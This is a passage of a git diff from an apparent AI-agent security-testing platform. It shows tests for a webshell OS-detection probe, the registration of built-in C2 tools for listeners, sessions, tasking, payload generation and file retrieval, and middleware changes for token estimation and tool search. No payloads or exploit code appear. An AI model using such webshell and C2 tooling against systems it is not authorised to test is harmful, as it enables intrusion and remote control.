{"被过滤的输出 - 无法判定", "something weird", ""},
|
||||
{"仅有 OSPROBE 前缀但被截断 - 保守返回空", ":OSPROBE_:END", ""},
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := classifyWebshellOSProbeOutput(c.in); got != c.want {
|
||||
t.Errorf("case %q: got %q, want %q", c.name, got, c.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeWebshellOSViaExec_SendsOneCommandOnly(t *testing.T) {
|
||||
var calls []string
|
||||
fn := func(cmd string) (string, bool) {
|
||||
calls = append(calls, cmd)
|
||||
return ":OSPROBE_Windows_NT:END", true
|
||||
}
|
||||
got := probeWebshellOSViaExec(fn)
|
||||
if got != "windows" {
|
||||
t.Fatalf("want windows, got %q", got)
|
||||
}
|
||||
if len(calls) != 1 {
|
||||
t.Fatalf("probe should issue exactly one exec call, got %d: %v", len(calls), calls)
|
||||
}
|
||||
if calls[0] != webshellOSProbeCommand {
|
||||
t.Errorf("probe command mismatch: got %q", calls[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeWebshellOSViaExec_NotOkReturnsEmpty(t *testing.T) {
|
||||
// HTTP 非 200 的场景:execFn 返回 ok=false,探活应放弃
|
||||
fn := func(cmd string) (string, bool) { return "whatever", false }
|
||||
if got := probeWebshellOSViaExec(fn); got != "" {
|
||||
t.Errorf("want empty when exec not ok, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeWebshellOSViaExec_NilSafeguard(t *testing.T) {
|
||||
if got := probeWebshellOSViaExec(nil); got != "" {
|
||||
t.Errorf("nil execFn should return empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProbeWebshellOSViaExec_LinuxUname(t *testing.T) {
|
||||
// 某些 webshell 对 `%OS%` 字面量也会过滤(例如安全规则),
|
||||
// 但主要路径是"%OS% 字面量被原样回显"。这里覆盖标准 Linux 场景。
|
||||
fn := func(cmd string) (string, bool) {
|
||||
return ":OSPROBE_%OS%:END\n", true
|
||||
}
|
||||
if got := probeWebshellOSViaExec(fn); got != "linux" {
|
||||
t.Errorf("Linux case: want linux, got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -16,9 +16,9 @@ const (
|
||||
|
||||
// DSL keys for [VectorEinoRetriever.Retrieve] via [retriever.WithDSLInfo].
|
||||
const (
|
||||
DSLRiskType = "risk_type"
|
||||
DSLSimilarityThreshold = "similarity_threshold"
|
||||
DSLSubIndexFilter = "sub_index_filter"
|
||||
DSLRiskType = "risk_type"
|
||||
DSLSimilarityThreshold = "similarity_threshold"
|
||||
DSLSubIndexFilter = "sub_index_filter"
|
||||
)
|
||||
|
||||
// FormatEmbeddingInput matches the historical indexing format so existing embeddings
|
||||
|
||||
@@ -8,8 +8,8 @@ import (
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"github.com/cloudwego/eino/compose"
|
||||
"github.com/cloudwego/eino/components/document"
|
||||
"github.com/cloudwego/eino/compose"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
|
||||
@@ -11,9 +11,9 @@ import (
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
fileloader "github.com/cloudwego/eino-ext/components/document/loader/file"
|
||||
"github.com/cloudwego/eino/compose"
|
||||
"github.com/cloudwego/eino/components/document"
|
||||
"github.com/cloudwego/eino/components/indexer"
|
||||
"github.com/cloudwego/eino/compose"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
@@ -35,14 +35,14 @@ type Indexer struct {
|
||||
lastErrorTime time.Time
|
||||
errorCount int
|
||||
|
||||
rebuildMu sync.RWMutex
|
||||
isRebuilding bool
|
||||
rebuildTotalItems int
|
||||
rebuildCurrent int
|
||||
rebuildFailed int
|
||||
rebuildStartTime time.Time
|
||||
rebuildLastItemID string
|
||||
rebuildLastChunks int
|
||||
rebuildMu sync.RWMutex
|
||||
isRebuilding bool
|
||||
rebuildTotalItems int
|
||||
rebuildCurrent int
|
||||
rebuildFailed int
|
||||
rebuildStartTime time.Time
|
||||
rebuildLastItemID string
|
||||
rebuildLastChunks int
|
||||
}
|
||||
|
||||
// NewIndexer 创建索引器并编译 Eino 索引链;kcfg 为完整知识库配置(含 indexing 与路径相关行为)。
|
||||
|
||||
@@ -108,9 +108,9 @@ func (r *RetrievalLog) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// CategoryWithItems 分类及其下的知识项(用于按分类分页)
|
||||
type CategoryWithItems struct {
|
||||
Category string `json:"category"` // 分类名称
|
||||
ItemCount int `json:"itemCount"` // 该分类下的知识项总数
|
||||
Items []*KnowledgeItemSummary `json:"items"` // 该分类下的知识项列表
|
||||
Category string `json:"category"` // 分类名称
|
||||
ItemCount int `json:"itemCount"` // 该分类下的知识项总数
|
||||
Items []*KnowledgeItemSummary `json:"items"` // 该分类下的知识项列表
|
||||
}
|
||||
|
||||
// SearchRequest 搜索请求
|
||||
|
||||
+10
-10
@@ -55,14 +55,14 @@ func New(level, output string) *Logger {
|
||||
}
|
||||
|
||||
func (l *Logger) Fatal(msg string, fields ...interface{}) {
|
||||
zapFields := make([]zap.Field, 0, len(fields))
|
||||
for _, f := range fields {
|
||||
switch v := f.(type) {
|
||||
case error:
|
||||
zapFields = append(zapFields, zap.Error(v))
|
||||
default:
|
||||
zapFields = append(zapFields, zap.Any("field", v))
|
||||
}
|
||||
}
|
||||
l.Logger.Fatal(msg, zapFields...)
|
||||
zapFields := make([]zap.Field, 0, len(fields))
|
||||
for _, f := range fields {
|
||||
switch v := f.(type) {
|
||||
case error:
|
||||
zapFields = append(zapFields, zap.Error(v))
|
||||
default:
|
||||
zapFields = append(zapFields, zap.Any("field", v))
|
||||
}
|
||||
}
|
||||
l.Logger.Fatal(msg, zapFields...)
|
||||
}
|
||||
|
||||
@@ -37,6 +37,16 @@ const (
|
||||
ToolBatchTaskAdd = "batch_task_add_task"
|
||||
ToolBatchTaskUpdate = "batch_task_update_task"
|
||||
ToolBatchTaskRemove = "batch_task_remove_task"
|
||||
|
||||
// C2 工具集(合并同类项,8 个统一工具)
|
||||
ToolC2Listener = "c2_listener" // 监听器管理(create/start/stop/list/get/update/delete)
|
||||
ToolC2Session = "c2_session" // 会话管理(list/get/set_sleep/kill/delete)
|
||||
ToolC2Task = "c2_task" // 任务下发(统一 task_type 参数)
|
||||
ToolC2TaskManage = "c2_task_manage" // 任务管理(get_result/wait/list/cancel)
|
||||
ToolC2Payload = "c2_payload" // Payload 生成(oneliner/build)
|
||||
ToolC2Event = "c2_event" // 事件查询
|
||||
ToolC2Profile = "c2_profile" // Malleable Profile 管理(list/get/create/update/delete)
|
||||
ToolC2File = "c2_file" // 文件管理(list/get_result)
|
||||
)
|
||||
|
||||
// IsBuiltinTool 检查工具名称是否是内置工具
|
||||
@@ -66,7 +76,16 @@ func IsBuiltinTool(toolName string) bool {
|
||||
ToolBatchTaskScheduleEnabled,
|
||||
ToolBatchTaskAdd,
|
||||
ToolBatchTaskUpdate,
|
||||
ToolBatchTaskRemove:
|
||||
ToolBatchTaskRemove,
|
||||
// C2 工具
|
||||
ToolC2Listener,
|
||||
ToolC2Session,
|
||||
ToolC2Task,
|
||||
ToolC2TaskManage,
|
||||
ToolC2Payload,
|
||||
ToolC2Event,
|
||||
ToolC2Profile,
|
||||
ToolC2File:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
@@ -101,5 +120,14 @@ func GetAllBuiltinTools() []string {
|
||||
ToolBatchTaskAdd,
|
||||
ToolBatchTaskUpdate,
|
||||
ToolBatchTaskRemove,
|
||||
// C2 工具
|
||||
ToolC2Listener,
|
||||
ToolC2Session,
|
||||
ToolC2Task,
|
||||
ToolC2TaskManage,
|
||||
ToolC2Payload,
|
||||
ToolC2Event,
|
||||
ToolC2Profile,
|
||||
ToolC2File,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -62,7 +62,7 @@ func TestExternalMCPManager_RemoveConfig(t *testing.T) {
|
||||
manager := NewExternalMCPManager(logger)
|
||||
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
|
||||
@@ -86,17 +86,17 @@ func TestExternalMCPManager_GetStats(t *testing.T) {
|
||||
|
||||
// 添加多个配置
|
||||
manager.AddOrUpdateConfig("enabled1", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
})
|
||||
|
||||
manager.AddOrUpdateConfig("enabled2", config.ExternalMCPServerConfig{
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
ExternalMCPEnable: true,
|
||||
})
|
||||
|
||||
manager.AddOrUpdateConfig("disabled1", config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: false,
|
||||
})
|
||||
|
||||
@@ -122,11 +122,11 @@ func TestExternalMCPManager_LoadConfigs(t *testing.T) {
|
||||
externalMCPConfig := config.ExternalMCPConfig{
|
||||
Servers: map[string]config.ExternalMCPServerConfig{
|
||||
"loaded1": {
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: true,
|
||||
},
|
||||
"loaded2": {
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
URL: "http://127.0.0.1:8081/mcp",
|
||||
ExternalMCPEnable: false,
|
||||
},
|
||||
},
|
||||
@@ -153,9 +153,9 @@ func TestLazySDKClient_InitializeFails(t *testing.T) {
|
||||
logger := zap.NewNop()
|
||||
// 使用不存在的 HTTP 地址,Initialize 应失败
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Type: "http",
|
||||
URL: "http://127.0.0.1:19999/nonexistent",
|
||||
Timeout: 2,
|
||||
Type: "http",
|
||||
URL: "http://127.0.0.1:19999/nonexistent",
|
||||
Timeout: 2,
|
||||
}
|
||||
c := newLazySDKClient(cfg, logger)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||
@@ -176,7 +176,7 @@ func TestExternalMCPManager_StartStopClient(t *testing.T) {
|
||||
|
||||
// 添加一个禁用的配置
|
||||
cfg := config.ExternalMCPServerConfig{
|
||||
Command: "python3",
|
||||
Command: "python3",
|
||||
ExternalMCPEnable: false,
|
||||
}
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,33 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"cyberstrike-ai/internal/security"
|
||||
|
||||
"github.com/cloudwego/eino/adk/filesystem"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
)
|
||||
|
||||
// einoStreamingShellWrap 包装 Eino filesystem 使用的 StreamingShell(cloudwego eino-ext local.Local)。
|
||||
// 官方 execute 工具默认走 ExecuteStreaming 且不设 RunInBackendGround;末尾带 & 时子进程仍与管道相连,
|
||||
// streamStdout 按行读取会在无换行输出时长时间阻塞(与 MCP 工具 exec 的独立实现不同)。
|
||||
// 对「完全后台」命令自动开启 RunInBackendGround,与 local.runCmdInBackground 行为对齐。
|
||||
type einoStreamingShellWrap struct {
|
||||
inner filesystem.StreamingShell
|
||||
}
|
||||
|
||||
func (w *einoStreamingShellWrap) ExecuteStreaming(ctx context.Context, input *filesystem.ExecuteRequest) (*schema.StreamReader[*filesystem.ExecuteResponse], error) {
|
||||
if w.inner == nil {
|
||||
return nil, fmt.Errorf("einoStreamingShellWrap: inner shell is nil")
|
||||
}
|
||||
if input == nil {
|
||||
return w.inner.ExecuteStreaming(ctx, nil)
|
||||
}
|
||||
req := *input
|
||||
if security.IsBackgroundShellCommand(req.Command) && !req.RunInBackendGround {
|
||||
req.RunInBackendGround = true
|
||||
}
|
||||
return w.inner.ExecuteStreaming(ctx, &req)
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
|
||||
"github.com/bytedance/sonic"
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
type einoModelInputTelemetryMiddleware struct {
|
||||
adk.BaseChatModelAgentMiddleware
|
||||
logger *zap.Logger
|
||||
modelName string
|
||||
conversationID string
|
||||
phase string
|
||||
}
|
||||
|
||||
func newEinoModelInputTelemetryMiddleware(
|
||||
logger *zap.Logger,
|
||||
modelName string,
|
||||
conversationID string,
|
||||
phase string,
|
||||
) adk.ChatModelAgentMiddleware {
|
||||
if logger == nil {
|
||||
return nil
|
||||
}
|
||||
return &einoModelInputTelemetryMiddleware{
|
||||
logger: logger,
|
||||
modelName: strings.TrimSpace(modelName),
|
||||
conversationID: strings.TrimSpace(conversationID),
|
||||
phase: strings.TrimSpace(phase),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *einoModelInputTelemetryMiddleware) BeforeModelRewriteState(
|
||||
ctx context.Context,
|
||||
state *adk.ChatModelAgentState,
|
||||
mc *adk.ModelContext,
|
||||
) (context.Context, *adk.ChatModelAgentState, error) {
|
||||
if m == nil || m.logger == nil || state == nil {
|
||||
return ctx, state, nil
|
||||
}
|
||||
tokens := estimateTokensForMessagesAndTools(ctx, m.modelName, state.Messages, mcTools(mc))
|
||||
m.logger.Info("eino model input estimated",
|
||||
zap.String("phase", m.phase),
|
||||
zap.String("conversation_id", m.conversationID),
|
||||
zap.Int("messages", len(state.Messages)),
|
||||
zap.Int("tools", len(mcTools(mc))),
|
||||
zap.Int("input_tokens_estimated", tokens),
|
||||
)
|
||||
return ctx, state, nil
|
||||
}
|
||||
|
||||
func mcTools(mc *adk.ModelContext) []*schema.ToolInfo {
|
||||
if mc == nil || len(mc.Tools) == 0 {
|
||||
return nil
|
||||
}
|
||||
return mc.Tools
|
||||
}
|
||||
|
||||
func estimateTokensForMessagesAndTools(
|
||||
_ context.Context,
|
||||
modelName string,
|
||||
messages []adk.Message,
|
||||
tools []*schema.ToolInfo,
|
||||
) int {
|
||||
var sb strings.Builder
|
||||
for _, msg := range messages {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
sb.WriteString(string(msg.Role))
|
||||
sb.WriteByte('\n')
|
||||
sb.WriteString(msg.Content)
|
||||
sb.WriteByte('\n')
|
||||
if msg.ReasoningContent != "" {
|
||||
sb.WriteString(msg.ReasoningContent)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
if len(msg.ToolCalls) > 0 {
|
||||
if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
|
||||
sb.Write(b)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, tl := range tools {
|
||||
if tl == nil {
|
||||
continue
|
||||
}
|
||||
cp := *tl
|
||||
cp.Extra = nil
|
||||
if text, err := sonic.MarshalString(cp); err == nil {
|
||||
sb.WriteString(text)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
text := sb.String()
|
||||
if text == "" {
|
||||
return 0
|
||||
}
|
||||
tc := agent.NewTikTokenCounter()
|
||||
if n, err := tc.Count(modelName, text); err == nil {
|
||||
return n
|
||||
}
|
||||
return (len(text) + 3) / 4
|
||||
}
|
||||
|
||||
func logPlanExecuteModelInputEstimate(
|
||||
logger *zap.Logger,
|
||||
modelName string,
|
||||
conversationID string,
|
||||
phase string,
|
||||
msgs []adk.Message,
|
||||
) {
|
||||
if logger == nil {
|
||||
return
|
||||
}
|
||||
tokens := estimateTokensForMessagesAndTools(context.Background(), modelName, msgs, nil)
|
||||
logger.Info("eino model input estimated",
|
||||
zap.String("phase", phase),
|
||||
zap.String("conversation_id", strings.TrimSpace(conversationID)),
|
||||
zap.Int("messages", len(msgs)),
|
||||
zap.Int("tools", 0),
|
||||
zap.Int("input_tokens_estimated", tokens),
|
||||
)
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
localbk "github.com/cloudwego/eino-ext/adk/backend/local"
|
||||
"github.com/cloudwego/eino/adk"
|
||||
@@ -65,6 +66,66 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
|
||||
return append([]tool.BaseTool(nil), all[:alwaysVisible]...), append([]tool.BaseTool(nil), all[alwaysVisible:]...), true
|
||||
}
|
||||
|
||||
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||
nameSet := make(map[string]struct{}, len(names))
|
||||
for _, n := range names {
|
||||
n = strings.TrimSpace(strings.ToLower(n))
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
nameSet[n] = struct{}{}
|
||||
}
|
||||
if len(nameSet) == 0 {
|
||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||
}
|
||||
static = make([]tool.BaseTool, 0, len(all))
|
||||
dynamic = make([]tool.BaseTool, 0, len(all))
|
||||
for _, t := range all {
|
||||
if t == nil {
|
||||
continue
|
||||
}
|
||||
info, err := t.Info(context.Background())
|
||||
name := ""
|
||||
if err == nil && info != nil {
|
||||
name = strings.TrimSpace(strings.ToLower(info.Name))
|
||||
}
|
||||
if _, keep := nameSet[name]; keep {
|
||||
static = append(static, t)
|
||||
continue
|
||||
}
|
||||
dynamic = append(dynamic, t)
|
||||
}
|
||||
if len(static) == 0 || len(dynamic) == 0 {
|
||||
// fallback: preserve previous behavior when whitelist misses all or includes all.
|
||||
return splitToolsForToolSearch(all, fallbackAlwaysVisible)
|
||||
}
|
||||
return static, dynamic, true
|
||||
}
|
||||
|
||||
func mergeAlwaysVisibleToolNames(configured []string) []string {
|
||||
merged := make([]string, 0, len(configured)+32)
|
||||
seen := make(map[string]struct{}, len(configured)+32)
|
||||
add := func(name string) {
|
||||
n := strings.TrimSpace(strings.ToLower(name))
|
||||
if n == "" {
|
||||
return
|
||||
}
|
||||
if _, ok := seen[n]; ok {
|
||||
return
|
||||
}
|
||||
seen[n] = struct{}{}
|
||||
merged = append(merged, n)
|
||||
}
|
||||
for _, n := range configured {
|
||||
add(n)
|
||||
}
|
||||
// Always include hardcoded backend builtin MCP tools from constants.
|
||||
for _, n := range builtin.GetAllBuiltinTools() {
|
||||
add(n)
|
||||
}
|
||||
return merged
|
||||
}
|
||||
|
||||
func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddlewareConfig, convID string, loc *localbk.Local, logger *zap.Logger) (adk.ChatModelAgentMiddleware, error) {
|
||||
if loc == nil {
|
||||
return nil, fmt.Errorf("reduction: local backend nil")
|
||||
@@ -87,6 +148,8 @@ func buildReductionMiddleware(ctx context.Context, mw config.MultiAgentEinoMiddl
|
||||
RootDir: root,
|
||||
ReadFileToolName: "read_file",
|
||||
ClearExcludeTools: excl,
|
||||
MaxLengthForTrunc: mw.ReductionMaxLengthForTruncEffective(),
|
||||
MaxTokensForClear: int64(mw.ReductionMaxTokensForClearEffective()),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -142,7 +205,7 @@ func prependEinoMiddlewares(
|
||||
alwaysVis = 12
|
||||
}
|
||||
if mw.ToolSearchEnable && len(tools) >= minTools {
|
||||
static, dynamic, split := splitToolsForToolSearch(tools, alwaysVis)
|
||||
static, dynamic, split := splitToolsForToolSearchByNames(tools, mergeAlwaysVisibleToolNames(mw.ToolSearchAlwaysVisibleTools), alwaysVis)
|
||||
if split && len(dynamic) > 0 {
|
||||
ts, terr := toolsearch.New(ctx, &toolsearch.Config{DynamicTools: dynamic})
|
||||
if terr != nil {
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
)
|
||||
|
||||
func applyBeforeModelRewriteHandlers(
|
||||
ctx context.Context,
|
||||
msgs []adk.Message,
|
||||
handlers []adk.ChatModelAgentMiddleware,
|
||||
) ([]adk.Message, error) {
|
||||
if len(msgs) == 0 || len(handlers) == 0 {
|
||||
return msgs, nil
|
||||
}
|
||||
state := &adk.ChatModelAgentState{Messages: msgs}
|
||||
modelCtx := &adk.ModelContext{}
|
||||
curCtx := ctx
|
||||
for _, h := range handlers {
|
||||
if h == nil {
|
||||
continue
|
||||
}
|
||||
nextCtx, nextState, err := h.BeforeModelRewriteState(curCtx, state, modelCtx)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("before model rewrite: %w", err)
|
||||
}
|
||||
if nextCtx != nil {
|
||||
curCtx = nextCtx
|
||||
}
|
||||
if nextState != nil {
|
||||
state = nextState
|
||||
}
|
||||
}
|
||||
return state.Messages, nil
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"github.com/cloudwego/eino-ext/components/model/openai"
|
||||
@@ -25,7 +26,12 @@ type PlanExecuteRootArgs struct {
|
||||
LoopMaxIter int
|
||||
// AppCfg / Logger 非空时为 Executor 挂载与 Deep/Supervisor 一致的 Eino summarization 中间件。
|
||||
AppCfg *config.Config
|
||||
MwCfg *config.MultiAgentEinoMiddlewareConfig
|
||||
// ConversationID is used for transcript/isolation paths in middleware.
|
||||
ConversationID string
|
||||
Logger *zap.Logger
|
||||
// ModelName is used for model input token estimation logs.
|
||||
ModelName string
|
||||
// ExecPreMiddlewares 是由 prependEinoMiddlewares 构建的前置中间件(patchtoolcalls, reduction, toolsearch, plantask),
|
||||
// 与 Deep/Supervisor 主代理的 mainOrchestratorPre 一致。
|
||||
ExecPreMiddlewares []adk.ChatModelAgentMiddleware
|
||||
@@ -33,6 +39,8 @@ type PlanExecuteRootArgs struct {
|
||||
SkillMiddleware adk.ChatModelAgentMiddleware
|
||||
// FilesystemMiddleware 是 Eino filesystem 中间件,当 eino_skills.filesystem_tools 启用时提供本机文件读写与 Shell 能力(可选)。
|
||||
FilesystemMiddleware adk.ChatModelAgentMiddleware
|
||||
// PlannerReplannerRewriteHandlers applies BeforeModelRewriteState pipeline for planner/replanner input.
|
||||
PlannerReplannerRewriteHandlers []adk.ChatModelAgentMiddleware
|
||||
}
|
||||
|
||||
// NewPlanExecuteRoot 返回 plan → execute → replan 预置编排根节点(与 Deep / Supervisor 并列)。
|
||||
@@ -50,7 +58,7 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
|
||||
plannerCfg := &planexecute.PlannerConfig{
|
||||
ToolCallingChatModel: tcm,
|
||||
}
|
||||
if fn := planExecutePlannerGenInput(a.OrchInstruction); fn != nil {
|
||||
if fn := planExecutePlannerGenInput(a.OrchInstruction, a.AppCfg, a.MwCfg, a.Logger, a.ModelName, a.ConversationID, a.PlannerReplannerRewriteHandlers); fn != nil {
|
||||
plannerCfg.GenInputFn = fn
|
||||
}
|
||||
planner, err := planexecute.NewPlanner(ctx, plannerCfg)
|
||||
@@ -59,7 +67,7 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
|
||||
}
|
||||
replanner, err := planexecute.NewReplanner(ctx, &planexecute.ReplannerConfig{
|
||||
ChatModel: tcm,
|
||||
GenInputFn: planExecuteReplannerGenInput(a.OrchInstruction),
|
||||
GenInputFn: planExecuteReplannerGenInput(a.OrchInstruction, a.AppCfg, a.MwCfg, a.Logger, a.ModelName, a.ConversationID, a.PlannerReplannerRewriteHandlers),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("plan_execute replanner: %w", err)
|
||||
@@ -81,17 +89,23 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
|
||||
}
|
||||
// 4. summarization(最后,与 Deep/Supervisor 一致)
|
||||
if a.AppCfg != nil {
|
||||
sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.Logger)
|
||||
sumMw, sumErr := newEinoSummarizationMiddleware(ctx, a.ExecModel, a.AppCfg, a.MwCfg, a.ConversationID, a.Logger)
|
||||
if sumErr != nil {
|
||||
return nil, fmt.Errorf("plan_execute executor summarization: %w", sumErr)
|
||||
}
|
||||
execHandlers = append(execHandlers, sumMw)
|
||||
}
|
||||
// 5. 孤儿 tool 消息兜底:必须挂在所有改写历史中间件(summarization/reduction/skill)之后、
|
||||
// telemetry 之前,保证送入 ChatModel 的消息序列 tool_call ↔ tool_result 配对完整。
|
||||
execHandlers = append(execHandlers, newOrphanToolPrunerMiddleware(a.Logger, "plan_execute_executor"))
|
||||
if teleMw := newEinoModelInputTelemetryMiddleware(a.Logger, a.ModelName, a.ConversationID, "plan_execute_executor"); teleMw != nil {
|
||||
execHandlers = append(execHandlers, teleMw)
|
||||
}
|
||||
executor, err := newPlanExecuteExecutor(ctx, &planexecute.ExecutorConfig{
|
||||
Model: a.ExecModel,
|
||||
ToolsConfig: a.ToolsCfg,
|
||||
MaxIterations: a.ExecMaxIter,
|
||||
GenInputFn: planExecuteExecutorGenInput(a.OrchInstruction),
|
||||
GenInputFn: planExecuteExecutorGenInput(a.OrchInstruction, a.AppCfg, a.MwCfg, a.Logger, a.ModelName, a.ConversationID),
|
||||
}, execHandlers)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("plan_execute executor: %w", err)
|
||||
@@ -110,20 +124,42 @@ func NewPlanExecuteRoot(ctx context.Context, a *PlanExecuteRootArgs) (adk.Resuma
|
||||
|
||||
// planExecutePlannerGenInput 将 orchestrator instruction 作为 SystemMessage 注入 planner 输入。
|
||||
// 返回 nil 时 Eino 使用内置默认 planner prompt。
|
||||
func planExecutePlannerGenInput(orchInstruction string) planexecute.GenPlannerModelInputFn {
|
||||
func planExecutePlannerGenInput(
|
||||
orchInstruction string,
|
||||
appCfg *config.Config,
|
||||
mwCfg *config.MultiAgentEinoMiddlewareConfig,
|
||||
logger *zap.Logger,
|
||||
modelName string,
|
||||
conversationID string,
|
||||
rewriteHandlers []adk.ChatModelAgentMiddleware,
|
||||
) planexecute.GenPlannerModelInputFn {
|
||||
oi := strings.TrimSpace(orchInstruction)
|
||||
if oi == "" {
|
||||
if oi == "" && appCfg == nil {
|
||||
return nil
|
||||
}
|
||||
return func(ctx context.Context, userInput []adk.Message) ([]adk.Message, error) {
|
||||
userInput = capPlanExecuteUserInputMessages(userInput, appCfg, mwCfg)
|
||||
msgs := make([]adk.Message, 0, 1+len(userInput))
|
||||
msgs = append(msgs, schema.SystemMessage(oi))
|
||||
if oi != "" {
|
||||
msgs = append(msgs, schema.SystemMessage(oi))
|
||||
}
|
||||
msgs = append(msgs, userInput...)
|
||||
if rewritten, rerr := applyBeforeModelRewriteHandlers(ctx, msgs, rewriteHandlers); rerr == nil && len(rewritten) > 0 {
|
||||
msgs = rewritten
|
||||
}
|
||||
logPlanExecuteModelInputEstimate(logger, modelName, conversationID, "plan_execute_planner", msgs)
|
||||
return msgs, nil
|
||||
}
|
||||
}
|
||||
|
||||
func planExecuteExecutorGenInput(orchInstruction string) planexecute.GenModelInputFn {
|
||||
func planExecuteExecutorGenInput(
|
||||
orchInstruction string,
|
||||
appCfg *config.Config,
|
||||
mwCfg *config.MultiAgentEinoMiddlewareConfig,
|
||||
logger *zap.Logger,
|
||||
modelName string,
|
||||
conversationID string,
|
||||
) planexecute.GenModelInputFn {
|
||||
oi := strings.TrimSpace(orchInstruction)
|
||||
return func(ctx context.Context, in *planexecute.ExecutionContext) ([]adk.Message, error) {
|
||||
planContent, err := in.Plan.MarshalJSON()
|
||||
@@ -131,9 +167,9 @@ func planExecuteExecutorGenInput(orchInstruction string) planexecute.GenModelInp
|
||||
return nil, err
|
||||
}
|
||||
userMsgs, err := planexecute.ExecutorPrompt.Format(ctx, map[string]any{
|
||||
"input": planExecuteFormatInput(in.UserInput),
|
||||
"input": planExecuteFormatInput(capPlanExecuteUserInputMessages(in.UserInput, appCfg, mwCfg)),
|
||||
"plan": string(planContent),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps),
|
||||
"executed_steps": planExecuteFormatExecutedSteps(in.ExecutedSteps, appCfg, mwCfg),
|
||||
"step": in.Plan.FirstStep(),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -142,6 +178,7 @@ func planExecuteExecutorGenInput(orchInstruction string) planexecute.GenModelInp
|
||||
if oi != "" {
|
||||
userMsgs = append([]adk.Message{schema.SystemMessage(oi)}, userMsgs...)
|
||||
}
|
||||
logPlanExecuteModelInputEstimate(logger, modelName, conversationID, "plan_execute_executor_gen_input", userMsgs)
|
||||
return userMsgs, nil
|
||||
}
|
||||
}
|
||||
@@ -155,18 +192,22 @@ func planExecuteFormatInput(input []adk.Message) string {
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func planExecuteFormatExecutedSteps(results []planexecute.ExecutedStep) string {
|
||||
capped := capPlanExecuteExecutedSteps(results)
|
||||
var sb strings.Builder
|
||||
for _, result := range capped {
|
||||
sb.WriteString(fmt.Sprintf("Step: %s\nResult: %s\n\n", result.Step, result.Result))
|
||||
}
|
||||
return sb.String()
|
||||
func planExecuteFormatExecutedSteps(results []planexecute.ExecutedStep, appCfg *config.Config, mwCfg *config.MultiAgentEinoMiddlewareConfig) string {
|
||||
capped := capPlanExecuteExecutedStepsWithConfig(results, mwCfg)
|
||||
